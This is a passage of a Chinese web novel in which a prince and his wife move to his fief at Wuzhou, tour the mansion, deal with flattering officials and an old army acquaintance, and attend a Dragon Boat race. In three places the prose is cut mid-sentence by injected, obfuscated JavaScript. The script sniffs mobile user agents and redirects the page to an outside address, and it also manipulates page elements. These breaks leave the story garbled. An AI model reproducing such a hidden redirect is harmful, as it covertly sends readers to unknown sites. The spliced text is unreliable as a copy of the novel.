邢国夫人看向谢怀雵的双眼:“可这东西到了我的手上,你就得做好它可能永远不会现世的准备。” 谢怀雵坦然颔首:“对于这点,我早有预料。我既然把东西送到您手上,自然相信您对金陵朝局的判断。若是您觉得时机未到,或是用不上此物,那说明金陵局势尚稳,那自然是最好不过的。” “况且若只是想要让赵王受罚,等将来诸事皆定后,我多的是别的法子,没必要非得用这样东西。” 邢国夫人终于重新露出了笑容:“既然如此,那我答应你,收下此物。若是将来形势有变,我会将它交给梁国公处理。” “不过我还是希望,最好没有那种将来。” ***** 解决完金陵所有的人情往来,并安排好留在金陵照看齐王府的仆从后,谢怀雵和姜同云带着府上老管家和一批侍从,在四月初一个阳光明媚的早晨,出发离开了金陵。 行至金陵城外,他们的队伍被人拦了下来。 太子带着刚刚被封为楚国公主的谢含昭一起,早早地等在城外为他俩送行。 趁着太子跟谢怀雵说话的功夫,谢含昭拉着姜同云,给她塞了一只食盒:“姜姐姐,这些都是你爱吃的点心。我还特意从母后那里要来了食谱方子,这样你去婺州以后就不用担心吃不到了。” 姜同云心里暖洋洋地,伸手抱住了谢含昭:“好。以后我每次吃点心的时候,都会想起我们含昭的。” 小姑娘被她这话说得眼睛一热,声音里就带上了些许哽咽:“我出门前跟母后保证过不会哭的,怎么姜姐姐偏要说这些话来惹我。” 姜同云笑着摸了摸她的头:“那我应该怎么说?” 谢含昭想了想:“你就说,等到了下半年,你们就会回金陵找我了。” 越朝诸王到了封地后,没有陛下旨意一般是不能随意离开的。不过越朝也有恩召诸王回京过年的惯例,有些受陛下喜欢的甚至八月份就能入京过中秋了。 以当今的性格,至少这三四年内,他都会扮演好一个慈爱的皇伯父,绝对不会在恩召的名单内落下谢怀雵夫妻俩。 姜同云对还要回金陵这事早就有过心理准备,所以接受良好,当即跟谢含昭点头允诺:“好。到了下半年,我就会回来陪你一起过年了!” 小姑娘得到保证,这才重新展露笑颜:“好,那我们就这样说定了!” 两人又说了几句,那边侍卫来提醒,说时辰差不多了,该启程了。 于是姜同云作别谢含昭,登上了南行的马车。 马车启动,姜同云撩开车帘,望向后方。 谢含昭还站在原地没走。见她探头出来,又蹦起来用力地朝她挥了两下手臂。 见姜同云扒着车窗不放,谢怀雵拍了拍她的后背:“别难过了,咱们过年就回来了。” 姜同云仍旧靠在窗边,直到看不见谢含昭后才缩了回来。 她擦了擦微湿的眼角,应了一声:“嗯。” 只是这时的他们谁都没有想到,这一个年,根本就不像他们所期待的那样。 56. 婺州 水通南国三千里,气压江城十四州。* 虽然这个时空的八咏楼还沿用着元畅楼的旧称,也没有李清照来题诗,不过作为南朝时期就已存在的建筑,姜同云到达婺州后的第一日,还是选择了登楼观景。 在观赏完楼外落日景色,又听当地导游吟诵了一回沈约的八咏诗后,姜同云才意犹未尽地下了楼。 “还没看够呢?天都要黑了。”谢怀雵扶她上了马车。见她坐在车上还频频回头,不由打趣了两句。 “倒也不是没看够。”姜同云也不知道怎么跟谢怀雵解释,自己是想起了一位不存在于这个时空的女诗人,一时有些怀念。 想了想,她干脆选择转移话题:“你说咱们现在回去,那些人应该不会在王府里等了吧?” 姜同云口中的“那些人”,指的是以婺州刺史为首的一群地方官员。 知道齐王要带着王妃回封地来后,婺州的官员们就都行动了起来。 打听到齐王的队伍今日会坐船抵达婺州,他们一早就候在了码头,准备迎接亲王和亲王妃的到来。 可惜,预判了他们行动的谢怀雵早有准备,提前两天就带着媳妇和几名侍女随从下了船,改走陆路进婺州城。 婺州官员们等了一个早上,最后就只接到了齐王府老管家带领的队伍。 他们原想问出齐王去了哪,再赶过去拜见一下。可惜王府管家年事已高,不仅腿脚不便,耳朵也不太好使了。他们什么也没问出来,就只能赖在王府里等。 姜同云提这事,虽说是为了转移话题,但也真挺怕回去后会被那些官员逮住。 “本来从金陵出来,就是想避开一些社交场合。谁知道来了婺州,照样也得跟一群不认识的人交际。”说着,她就叹了口气。 “放心。”谢怀雵拍了拍姜同云的手背,“他们要真还在等,我就直接过去赶人。今天事情这么多,我可没给他们准备晚饭。” 姜同云忍俊不禁:“你真要这么做,他们一定会在背后说你不上道。” 谢怀雵老神在在:“那又如何?我来是要养病的,有陛下口谕为凭。既是养病,就该少与这些人接触,免得劳心伤神。” 陛下觉得,他留谢怀雵在金陵这么多年,冷不丁要赶他回封地去,旁人难免要议论两句。为了面上好看,陛下就宣称婺州天气更适宜谢怀雵休养,找了个养病的由头才让他回去的。 不过陛下为了自己面子而找的这个借口,现在倒真是方便了谢怀雵和姜同云躲懒。 姜同云笑着斜了谢怀雵一眼:“陛下这回也算歪打正着,做了件好事吧。” 谢怀雵笑了笑:“咱们明天去哪儿玩?” “明天还出去?”姜同云赶紧摇头,“坐了这一天的马车,我都要累死了。再说了,婺州的官员明天肯定还要再来的。与其一直躲着,倒还不如辛苦一次,把他们打发了呢。” “夫人说得在理。”谢怀雵微微颔首,“那明天你要是有力气,咱们就在王府里面逛逛?” 婺州虽不比金陵繁华,但在用地限制方面也相应地少上很多。婺州的齐王府是正经的亲王规制,足有金陵那处王府六七倍大,都快赶上他们先前住的崇仁坊的面积了。 不过考虑到王府里大大小小养了许多人,甚至还有一支多达千人的卫队,这个占地面积就又变得合理起来了。 听说这边的齐王府里还有一片连通外头的水系,想来王府内各处景致应该也是很不错的。 于是姜同云点了点:“好,那我明天先在府里看看。” 想到自己明早可能要先应付婺州官员,谢怀雵便提议道:“要不我派几个侍卫跟着你?” “不用。”姜同云摆了摆手,“我有木樨和四娘,再带两个侍女就行。” 这次来婺州,她提拔了邓皇后当初派给她的一名侍从做管事,留在金陵替她照料乡主府。没有牵挂的木樨和柳四娘跟着她一起来了婺州,其余从杭州带出来的人都被她送回去了。 听她这么说,谢怀雵便也没再坚持:“在府里是也够了。等过两日我腾出空来,再想办法给你寻两个女护卫。这样你外出的时候也方便一些。” 姜同云没有拒绝谢怀雵的这个提议。 婺州到底不是杭州和金陵。她初来乍到,人生地不熟的,婺州各处也不像金陵那样,到处都有卫兵走动巡逻。外出的时候还是带点侍卫安心一些。 两人刚商量好这些事,马车也就到了婺州的齐王府门口。 因王府内部空间太大,车子直接从侧门穿过高深的院墙,驶入王府内。两人在侧门下马的地方换乘上一辆由单匹马拉着的小车,继续朝内走去。 虽然天色已晚,但借着灯火,还是能够很明显地从一路经行的建筑上看出来,这座王府有多么地恢弘威严。 小车载着两人,远远地路过王府正殿时,姜同云一个错眼,甚至以为自己回到了金陵皇宫之内。这处正殿虽无法与宫内最大的几处殿宇相比,但也赶上了其余宫室内主殿的规模。 看来越朝亲王的待遇,是真的相当的高。 不过再往里走,余下的建筑规模就与金陵的王府相差无几了。 原本安排给齐王和齐王妃居住的两处院子,因多年无人居住,如今还在重新修饰之中。所以今晚两人只能先一起住在王府东侧一处已经收拾好的院落里。 这两日又是坐船又是坐车的,姜同云早就累得不行。简单用过晚饭后,他俩就回了各自的屋子,早早吹灯睡觉了。 次日,姜同云睡饱了觉后才不紧不慢地起了床。 在听到木樨说,谢怀雵已经在前面接待来访的婺州官员后,姜同云决定先往正在重新装饰的正院里看看。 好歹也是她以后每天要住的地方,提前过去看看情况,也方便她构思一下以后屋子里的布局。 未免在王府中迷路,她特意让人找了个一直在婺州王府的侍女领路,又带上木樨、柳四娘和另外两名从金陵带过来的侍女,六人一道往位于王府中轴线上的正院走去。 王府里安排来给姜同云带路的是个伶牙俐齿的姑娘。她不仅给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850452|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜同云带路,还充当了导游的角色,一路边走边给姜同云介绍各处院落的作用。 “齐王府原先是太|祖皇帝第十一子的王府。那位王爷在太宗朝犯了事后,这座王府就被太宗皇帝收回,之后空了有二十多年。” “据府里老人们说,王府初建之时,太|祖皇帝就从自己的私库里拿了一大笔钱贴补,所以王府本就建得相当奢华。后来前头那位王爷又自己掏钱改建了一部分,几番修改下来,才有了如今的规模。” 侍女说着,抬手对着周围一圈建筑比划了一个大圆:“据说当时这些小院子都是给那位的姬妾们住的。赐给咱们王爷以后,因为用不上这么多屋子,就全都给锁起来了。” 姜同云看了看周围过于密集的建筑,一时有些语塞:“……这么多都是?” 侍女明白了她的意思,俏皮地笑了笑:“这还只是一部分,西面和北面还有呢。我听说住在北面的都是些不太受宠的姬妾,有的院子还是好几个人一起住的。” 姜同云在心里快速做了个计算题,发现前面那位犯了事的倒霉王爷少说也有五六十个妾室。 当今陛下也就只有二十来个妃嫔呢,还偶尔会被朝臣提醒不能沉迷女色。这位王爷的日子过得这么滋润,怪不得太宗要整自己这个弟弟。 想到边上跟后头全是这种密密麻麻的小院子,姜同云就有些起鸡皮疙瘩。她连忙道:“咱们直接去正院里头瞧瞧吧。” “正院里在砌墙呢。”侍女想了想,“王妃要看的话,我带您去边上瞧两眼,就别进里面去了吧。” “砌墙?”姜同云有些摸不着头脑,“好好的砌墙做什么?难不成院子里的墙塌了?” 侍女有些惊讶:“您不知道吗?殿下去年就传信回来,让我们拆了他和您住处之间的隔墙,把两处院子改成一处大院子。” 姜同云还真不知道谢怀雵偷偷整了这一出。 眼见周围的侍女们都有些憋不住笑,姜同云在心里给谢怀雵记了一笔,面上装着若无其事的样子道:“既然这样,那我就远远地看上两眼吧。” 因她说要远观,侍女就寻了北面一处小坡上的长廊。 “那儿就是正在改建的正院。” 姜同云顺着她指的方向看去。 确实能够很清楚地看见,中心位置处正有一群人在施工。 原本的围墙已经被推倒,这会儿工人们正在重新砌墙。 “其实老王爷在时已经改过一回院子,两边原本就是通的。不过殿下说这墙怪挡视线的,要求我们把中间的隔墙全给拆了,给您在中间改个小花园出来。” “绕着花园,殿下和您住的屋子要用回廊连通。东边那条回廊已经建得七七八八,西边那条也在封顶了。之后还要把王府西面的水引过来做个鱼池。估计再有两三个月就能完工。” 姜同云一边听侍女讲解布局,一边在心里勾画院子新的面貌。 不得不承认,谢怀雵真是摸透了她的喜好。光凭想象也能知道,改完后的院子还真就是她会喜欢的样子。 57. 弹琴 侍女观察着姜同云的表情。 见王妃眉目舒展,面带微笑,她就知道王妃对王爷的心意以及院子的改造方案都是满意的,于是就又顺着说了两句: “听管事们说,殿下还想把周围一圈的小院子拆掉一部分。一来,咱们府上也没那么多人,留着这么多空置的屋子也没用;二来,拆了这些院子后就能重新修整一下府内道路。西边园子风景好,等路修整好了,王妃要过去游园泛舟都会更加方便。” 姜同云顺着侍女的手往正院两侧那些密集的小院子看去。 刚刚站在下面,隔着一层院墙,姜同云只觉得这些建筑太过密集。现在站在高处向下俯视,她才发现这些院子不仅密集,空间也非常有限。 每处院子里不过三间屋子,再被四四方方的围墙一圈,留下来的空位就只剩那么一丁点。人要是住在这种院子里,每天出门抬头,恐怕就只能看见一方窄窄的天空。 靠近正院的院子还稍大一些,离得远的那些就更小、更窄了。 这简直就是古代版的格子间。 不过对王府的那些姬妾们来说,在王府里的生活搞不好真跟在现代社会上班当社畜没有太大差别。 甚至社畜还有下班放假的时候,她们却未必能有。 而且这座王府原先的主人最后是获了罪。也不知道她们最后归宿如何。 想到这里,姜同云一时有些为这群素未谋面的人感到难过:“拆了也好。” 侍女误解了她的意思,连忙说道:“殿下对您这么好,往后就是有了旁的人,也绝不会越过王妃您的。” 姜同云知道,侍女是误会了自己在忧心谢怀雵以后有妾室,所以才会觉得拆房子好。 她没有纠正对方,只无奈地笑了笑:“往后的事情往后再说吧。” 谢怀雵要是真有了别人,那她肯定是不能同意的。 他俩要是真的走到那步,大不了到时候就拿出那封陈情书,然后回去过她的单身生活。 姜同云向来是走一步看一步的人,根本懒得去烦那种没影的事。她很快就把这个话题抛诸脑后,对侍女道:“既然你说西边园子里的风景好,那咱们就先去那头看看吧。” 园子和王府的居住区域不是完全用墙隔断,中间有些地方用的是山石造景进行分隔。姜同云几人所在的回廊连通王府内的几条主要路线,也正好能通向造景上的一处凉亭。 领路的侍女便提议带着姜同云先往凉亭上去,正好能从高处俯瞰园子的一角。 于是一行人转移目的地,顺着回廊往西边的山石小径上走去。 谁料才刚下了回廊,姜同云就听见身后有人叫她:“王妃!王妃留步!” 姜同云回身一看,一名眼生的侍女正从她们身后跑来。 领路的侍女连忙道:“她是在前头正厅里伺候的。” 正厅?谢怀雵今早不就是在正厅里接待来访的婺州官员吗? 疑惑间,陌生侍女已经跑到了她们跟前:“……王妃,殿下请您往正厅去一趟。” ***** 姜同云赶到正厅时,老管家正在侧门入口处来回踱步。 见到姜同云来,他立刻迎上前:“王妃,您可算来了!” 见老管家神色焦急,姜同云也不自觉地提起了心来:“发生什么事情了?” 她不是没问过刚才来报信的侍女,但对方一问三不知,只说是管家得了殿下的提前吩咐,要请她过去。 姜同云起先还有些怀疑,觉得是不是这王府里有人想偷摸做点什么。但现在看老管家也是一副着急上火的样子,姜同云立刻意识到正厅里恐怕是真的发生了什么棘手的事。 老管家压低声音,快速说道:“云麾将军关正青今天也来了!” “关正青?”姜同云跟谢怀雵成亲一年多,对越朝各地武将的也有了一定了解。现在听老管家这么一提,她很快就反应了过来这人是谁:“他不是驻守在越州吗?” “按理来说,他是应该在越州的。”老管家眉头紧锁,“昨天来的人里没有他。谁想今天一早,他居然就出现在了婺州城里,还跟着婺州刺史一起过来了!” 见老管家神色忧虑,姜同云不禁有些疑惑:“这个关正青,和殿下有过过节?” “哎哟,您瞧我,忘了先跟您提这事。”老管家一拍大腿,“当年这关正青和殿下一同在边境邢国公麾下效力。有次晋军侵扰,他带领的队伍没有及时响应,事后邢国公罚了他二十军棍。” “谁知道后来让咱们家殿下发现,他那回是在军帐内饮酒过度以致差点误事。殿下上报给邢国公后,他就被解除了边境军职。回到金陵之后,他借着家族关系运作了一番,很快就又被任命为了越州驻军统领。” 姜同云听明白了:“所以你是担心,他这次来者不善?” “可不是吗!我刚刚听他说,他最近要来婺州督查地方守军,要在婺州多留一段时间!这不就是冲着殿下来的吗?” 按照越朝的军制,关正青是越州驻军统领,虽无权直接指挥调动婺州的地方守军,但包括杭州和婺州在内的几个州府都在他的监管范围内,所以他确实是有权督查婺州守军的训练情况的。 不过姜同云觉得,老管家这是关心则乱了。 就谢怀雵那个心眼子,哪能这么容易吃亏啊。 况且谢怀雵有亲王身份在手,关正青怎么也要顾忌三分的。纵使他有军队在手,那也不能直接带人来冲齐王府吧。 不过看老管家着急的模样,姜同云还是先安抚了一下他的情绪:“别着急。我先过去看看情况,要是有不对,我立刻进去帮殿下解围。” “好好好。”老管家连连点头。 姜同云凑到侧门边上,稍稍撩开门帘,凑头朝里望去。 正厅里的气氛还算融洽。 作为王府的主人,谢怀雵自然坐在最上手。 他右手下的第一个位置,坐了一名蓄了短须的中年男子。虽然那人穿着家常衣裳,不过看他的体态气质,应是一名武将。那么此人无疑就是越州驻军统领关正青了。 除了关正青外,正厅里坐着的其他访客全都穿着相应的文官官服,应该就是婺州的大小官员们。 姜同云探头的时候,说话的是坐在关正青对面的男人。从他的位次和官服来看,姜同云判断此人应该是婺州刺史黄桓。 就听这位黄刺史说道:“……金陵繁华,远非婺州能比。殿下听惯了金陵的雅乐,回婺州来恐怕要委屈您的耳朵。所以下官特意替您寻了几名精通管弦的伶人,还望殿下笑纳。” 说着,黄桓略招了招手,立在他身后的几名年轻人就一同上前了一步。 从姜同云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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太寸了吧!这齐王妃早不来晚不来,怎么偏偏挑自己送人的时候来! 听说这齐王府里现在一个侍妾都没有,保不齐就是有这位齐王妃从中作梗! 黄桓还在忧心呢,就听上首的齐王道:“伶人就算了,本王也没什么听曲的雅好。府中杂事尚多,今日就不多留诸位了。” 听到谢怀雵这话,关正青连同婺州大小官员一同站了起来,告辞离去。 送走这些人后,夫妻俩离开正厅,朝居住的院子走去。 一出正厅,谢怀雵不给姜同云质问的机会,赶紧喊冤:“夫人,我是真的不知道黄桓要整这一出啊!” “是吗?我觉得有两个伶人也挺好的啊。”姜同云打趣道,“咱们府上确实缺两个弹琴奏曲的,你不爱听也可以留下来弹给我听嘛。” 谢怀雵疑惑地看着她:“夫人真这么觉得?” “真的啊。”姜同云语气认真,“反正每天闲在家里也没事干,有人给我弹弹曲跳跳舞的,多好啊。上次去参加宫宴,领舞的那个舞姬可真是——” 见她越说越兴奋,竟然是真心想要伶人,谢怀雵脸色一沉:“不行。” “咱们府上不养伶人。夫人要是想听曲,我可以给你弹。” 被打断的姜同云看向谢怀雵,见他面色沉郁,明显又在吃没由来的飞醋,忍俊不禁道:“你会弹琴?” “会!”谢怀雵答得斩钉截铁,“我的琴艺还是宫中名家所教,绝对比外面那些人好!” 姜同云忍不住要逗他:“可是只听琴曲有点太单调了呢。” 谢怀雵已经有点咬牙切齿了:“那夫人还想听什么?” “我、都、可、以、学!” 58. 关系 “这感情好。”姜同云拍了拍手,眼睛一转,又故作为难之色,“可是光听曲好像有点太单调了,总得有几个美人跳舞才应景呢。” 听听,光听曲不够,还得有美人跳舞,还要几个! 是可忍,孰不可忍! 谢怀雵一把将她抱了起来,气急败坏地说道:“咱们现在就回房,我跳给你看!” 见人都被自己逗急眼了,姜同云憋着笑,赶紧抱着谢怀雵的脖子给他顺毛:“不看了不看了。歌舞也就那样,没什么好看的。” 谢怀雵表示怀疑:“真不看了?” “真不看!”姜同云态度诚恳,就差指天发誓了,这才勉强安抚下谢怀雵的情绪。 谢怀雵没再坚持要跳舞,抱着姜同云闷头回了住处,一进院子就挥手示意侍女们退出去。 见他一直不说话,姜同云点了点他的肩膀:“你跟那个关正青,是怎么一回事儿呀?我怎么听管家说,你以前跟他有过节?” “过节?”谢怀雵顿了顿,终于纡尊降贵地开了口,“就是他醉酒被我检举那件事?” 姜同云点了点头。 “也算不上过节吧。”谢怀雵抱着她进了屋子,将她放在坐榻上,自己则在她身边坐了下来,“那次误事,本来也就是他故意为之。” “故意?”姜同云顿觉摸不着头脑,“他故意这么做有什么好处?” “你不了解关正青。此人虽勇武不足,领兵时多有欠缺,但在练兵方面颇有建树。他在边境时,邢国公看出了他的缺点,曾数次设法想要纠正他心性上的弱点。可惜这些法子不仅没有改掉他胆小怯战的毛病,反而让他更加惧怕正面作战。” “加上他出身权贵,关氏族中本就不欲让他在边境拼命。萌生退意之后,他就主动寻了这么一个机会,犯了点不至于无法弥补的错。” 谁知道邢国公根本不想放弃他这么一个好苗子。加上他迟到这会儿也没造成什么严重的后果,最后罚了他二十军棍就将事情揭了过去。 这下关正青就急了。 目的没达到就算了,还白挨了一顿打!这次要是没能回去,那不就亏大发了? “……所以他就派人当着我的面,假装鬼鬼祟祟地从营帐里往外搬酒坛,还故意说了些他当晚在喝酒的话给我听。” “你当时被他骗了?”姜同云追问道。 谢怀雵挑了挑眉:“你夫君是那么容易被骗的吗?关正青平日里就不是贪杯的人。况且我清楚地记得,他那天晚上虽然来得晚,但神态语气与平时并无大异,身上也没有酒气,当时就起了疑心。于是我私下把这件事报给了邢国公。” “邢国公知道后把他叫去单独谈了一番。知道他不惜用这种自污的方式也要离开后,邢国公就没再强留,上折子请陛下把他调走了。” 姜同云回过味来了:“所以他今天不是来找茬的,而是来……谢你的?” “也算不上谢吧,只是来拜访旧识。”谢怀雵终于重新露出笑容,“要谢他也应该谢邢国公。要不是有邢国公暗中找关系帮他举荐,他也不可能被派到越州担任统领一职。” 越州虽不是边镇重地,却是太|祖发迹之地,越朝历代帝王对越州都是很上心的。 “他在练兵之道上确有独到之处,来越州做统领,不仅不用打仗,还能顺便负责训练士兵,也不算埋没了他的才干。” “既然他不是来找你麻烦的,那你干嘛还让管家派人来找我啊?”姜同云小小抱怨了两句,“我还以为你遇到解决不了的事了呢。” “我没有啊。”谢怀雵下意识地反驳了一下,突然又想起来一件事,“哦,我是吩咐过,说如果情况不对就去请王妃过来。” “但那是为了预防黄桓等人邀我出去宴饮游玩的。我原本打算,他们一提这茬我就装犯病,然后赶紧请夫人过来送客。” 姜同云顿觉哭笑不得:“原来如此。管家以为你说的麻烦来自关将军,就着急忙慌地让人去把我找来。不过也算歪打正着吧,正好让我赶上黄刺史给你送人。” 说到这里,谢怀雵也有些懊恼自己没交代清楚:“看到你来我还真是吓了一跳,担心要是你误会生气了应该怎么哄呢。” 姜同云没忍住笑出了声来:“没想到最后生气的是你自己。” 听到这话,谢怀雵不由委屈起来:“怎么夫人从来就没为我吃过醋呢?” “咱们家有一个你就已经够开门做卖醋生意了。”姜同云笑着点了点谢怀雵的鼻尖。 谢怀雵却没有笑。他静静地盯着姜同云看了一会儿,突然起身在她面前蹲了下来。 姜同云被他看得有些不自在,稍稍朝后缩了缩:“怎么了吗?” 谢怀雵定定地看着她,良久后才开口道:“我总觉得,你一直都做好了随时离开我的准备。” 听到这句话,姜同云心中猛然一颤。 这件事一直被她深埋心底,从来没跟任何人提起过。旁人一直觉得他俩如今幸福美满,却不知道姜同云一直都在做哪天离开的准备。 但她会做这种打算并不是谢怀雵的错。 究其根源,还是因为她作为一个曾经生活在现代的人,总有一些没办法向古代社会妥协的底线。 比如对婚姻的忠贞。 姜同云知道,她不主动提出自己的要求,却又暗暗希望谢怀雵能够满足自己,这种行为是非常不理智的。 但她不知道应该怎么向对方开口。 犹豫之间,谢怀雵已经捧着她的手,将脸伏在她的膝上。 “你不想说也没事。”他用轻柔的声音做出了坚定的保证,“我不会犯那种,会让你离开我的错误的。” ***** 之后一段时间里,婺州官员们果然又想了好多种法子,试图跟谢怀雵打好关系。 但送到齐王府的礼,谢怀雵是一样没收,甚至看都没看一眼,直接就在管事那儿被退了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868419|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于游玩宴饮的邀约,也都被谢怀雵以养病为由拒绝了。 也不是没有官家夫人想走姜同云的路子。可惜姜同云比谢怀雵更不爱交际。谢怀雵借口自己要养病,姜同云就说自己要在王府照顾王爷。两个人来婺州快一个月了,还没在婺州的社交场合里露过脸。 眼看就要进入五月了,姜同云开始预备过端午的事情。 “这位黄刺史可真是不屈不挠。”姜同云把手上的帖子提给谢怀雵看,“你瞧瞧,这又来请我们去参加端午的龙舟会了。” 谢怀雵接过帖子,翻看了一下:“嗯……不是私宴。” 姜同云听出了他话里的考量:“那咱们要不要去一回?来婺州这么久了,一次面都不露也说不过去。” 谢怀雵点了点头:“也行。” 婺州的龙周会就在元畅楼上举行,参赛的还有百姓组织的队伍。这种对外开放的场合,想来婺州官员也不敢在众目睽睽之下强行送礼拉关系吧。 “既然中午要出去,那咱们自己府上的家宴就放在晚上办吧。”姜同云在手中册子上勾画了几笔,“那位关将军和你算得上是旧识,他现在人还在婺州,端午那日你要不要请他过来聚一聚?” “这可不行。”谢怀雵笑着摇了摇头,“不仅不能请他,我跟他在外面见了面,还得故意装着关系不好的样子呢。” “为什么啊。”姜同云甚是不解。 谢怀雵放下手中的帖子,开始给姜同云开为臣之道小课堂:“你想,他在越州,我在婺州。他是领着越州五万驻军的统领,同时还监管周围四州的地方守军,我呢,府上有一支一万人规模的卫队。” “陛下一直以为,我跟关正青因为先前检举的事情闹得很僵。我跟他的关系要是突然变好,别人能放心吗?” “哦~”姜同云隔空点了点他,小声道,“所以你俩这是在联手蒙陛下呢。” 谢怀雵笑道:“怎么能说是‘蒙’呢。我跟关正青本来就也不太熟络,只是先前同在邢国公麾下而已。他这次也不是专门来拜访我的,是真的来检查婺州守军训练是否合格。你不觉得咱们家最近收到的帖子都变少了吗?那大概是因为关正青查出来不少的问题,黄桓等人这会儿正努力花心思巴结他,想让他高抬贵手呢。” “怪不得。我还以为是你养病的借口起作用了,或是他们请累了,不想再拿他们的热脸贴你的冷屁股了。” 谢怀雵笑了笑:“跟我攀关系,是想将来在仕途上得到帮助。可关正青查的事关系到了他们的官职。现在不先笼住关正青,别说往后升迁了,搞不好是要直接丢乌纱帽的。孰轻孰重,婺州的官员们是再清楚不过了。” 姜同云想了想:“关将军也来快一个月了。他到现在都没还走,看来婺州守军的问题是真的挺大的。” 谢怀雵脸上的笑容一缓:“夫人倒真提醒了我。端午的龙舟会上,我得想办法给关正青传个信,约他见上一面了。” 59. 约见 端午当日,元畅楼上。 姜同云被婺州大大小小的官员夫人们包围着,坐在楼上观赛。 以刺史夫人为首的夫人们不遗余力地捧着姜同云,从她的容貌夸到穿戴,又从穿戴夸到气质,简直把姜同云夸得天上有地上无,让见识到汉语词汇丰富性的姜同云叹为观止。 在金陵的时候,大家互相夸奖都是比较矜持内敛的,而且更喜欢从细节入手,不留痕迹地夸人。像今天这种阵仗,姜同云还真是第一次遇到。 要不是她这两年在谢怀雵的连番攻击下锻炼出了足够厚的脸皮,搞不好还真会被这帮夫人们夸得晕头转向。 姜同云充分发挥了左耳进右耳出的功力,面上保持着得体的微笑,似是在认真倾听,实际心思早就已经飞走了。 她端起茶盏来浅浅抿了一口,借着喝茶的动作稍稍往谢怀雵所在的方向瞥了一眼。 谢怀雵也被婺州的官员们围着,正在经历和姜同云相似的夸夸攻击。 在场官位最高的就是来婺州督查地方守军的关正青,于是他被安排在了谢怀雵的右手边。 不过这两个人全都端端正正地戳在自己的座位里,刻意跟对方保持了一个相当礼貌的距离,而且除了见面时打招呼的那一会儿后面就再也没有过交谈。要不是姜同云先从谢怀雵那里知道了他俩实际的关系,只怕也会以为这两个人关系僵硬,互相看不顺眼。 姜同云现在都有点好奇了。在他们这么刻意保持距离的情况下,谢怀雵要用什么方式,瞒着在场的这么多人,跟关正青约定会面呢? 正在走神呢,姜同云突然听见边上的刺史夫人好像问了她一句什么话。 完全没听见的姜同云丝毫不慌。她微微侧了一点头,并将目光移向刺史夫人,然后用极其平淡轻缓地语调应了一声:“嗯?” 这一招,还是她从邓皇后那里学的。 二月份那阵子,邓皇后病倒之后,后宫诸事就被更多地移交到了谢含昭手里。 因为担忧女儿受辈分和年龄的限制,没法辖制住后宫里大大小小的妃嫔宫人,邓皇后精神好的时候时常会把谢含昭叫到床前,亲自教她一些御下的手段。 姜同云入宫探望陪伴邓皇后的时候,也会被叫着跟谢含昭一起上这种私教小课堂。邓皇后那个时候就说,等她将来去了婺州后,总是会用到这些法子的。 “在婺州,你是身份地位最为尊贵的女人,对待旁人不必太过客气。”邓皇后即使在病中,语气也是平稳威严的,“就算真是你的问题,只要你毫无异样地反问对方,他们就不敢质疑你,甚至还会主动帮你弥补过失。” 名师押题就是不一样。这不,姜同云就用上这个小妙招了。 见齐王妃看向自己,刺史夫人心里一跳,以为自己刚刚哪里说的不对,连忙露出了更加小心讨好的笑容:“咱们婺州不如金陵,挑出来的比赛队伍也是资质平平。王妃您就随便点一个吧,就当是他们的福气了。” 姜同云注意到,刺史夫人身边站了个捧着托盘的丫鬟。再结合她刚刚说的话,那她先前大约就是在请自己下注押队伍了。 赌钱这种活动,果然到哪儿都很受欢迎啊。 姜同云微微前倾,向着楼外看了一眼:“就那支红队吧。” 说着,她对站在身后的木樨招了招手:“我对这些队伍也不熟,就拿个五两银子做彩头好了。” 刺史夫人应了一声,连忙让丫鬟上前接过银子:“王妃押了五两,那我就……押个三两好了。” 放完银子,刺史夫人赶紧往后面人群使了几个眼色:齐王妃也就押了五两,你们可不能越了她去! 作陪的夫人们赶紧收起原先准备的各色珠宝首饰,在身上摸起零碎银子来。 但历年来的龙舟会赌斗,她们都是用贵价首饰做彩头的。今天知道齐王妃要来,各家夫人们都咬了咬牙,带上自己妆奁里最贵最好的首饰过来,银钱倒是没带多少。 这乍一下要她们摸不超过五两的散碎银子,还真是不容易呢。 最后,她们还是靠着互帮互助,才给每个人都凑了一份彩头出来。 丫鬟捧着一大盘散碎银子退到一旁。 这边下完了注,那头比赛就正式开始了。 毫无悬念地,最后拿下冠军的就是姜同云押注的红队。 “王妃真是好眼力。”刺史夫人连忙夸赞道,“今日数您押得最多,能拿最大的一份。等会儿算完,我让人把银子给您送去齐王府上。” 这是要借机行贿啊。 看透刺史夫人心思的姜同云才不会给对方这个机会。 她摇了摇手中团扇:“横竖不过几十两银子,没必要特意送到王府去。这些队伍比赛也是辛苦,不如就把这些银钱拿给他们做赏银吧。” 刺史夫人脸上的笑容一滞。但她很快就调整了过来,连连夸赞姜同云仁善,叫丫鬟把银子端了下去。 龙舟会结束后,姜同云和谢怀雵又被拉着在元畅楼上用了一餐饭,之后才打道回府。 一坐上马车,姜同云就着急地问道:“你那边怎么样?” 见谢怀雵点头表示成功,她才松了一口气:“我看你跟关将军一直保持距离,连话都没多说两句,还以为你没能把消息递给他呢。” 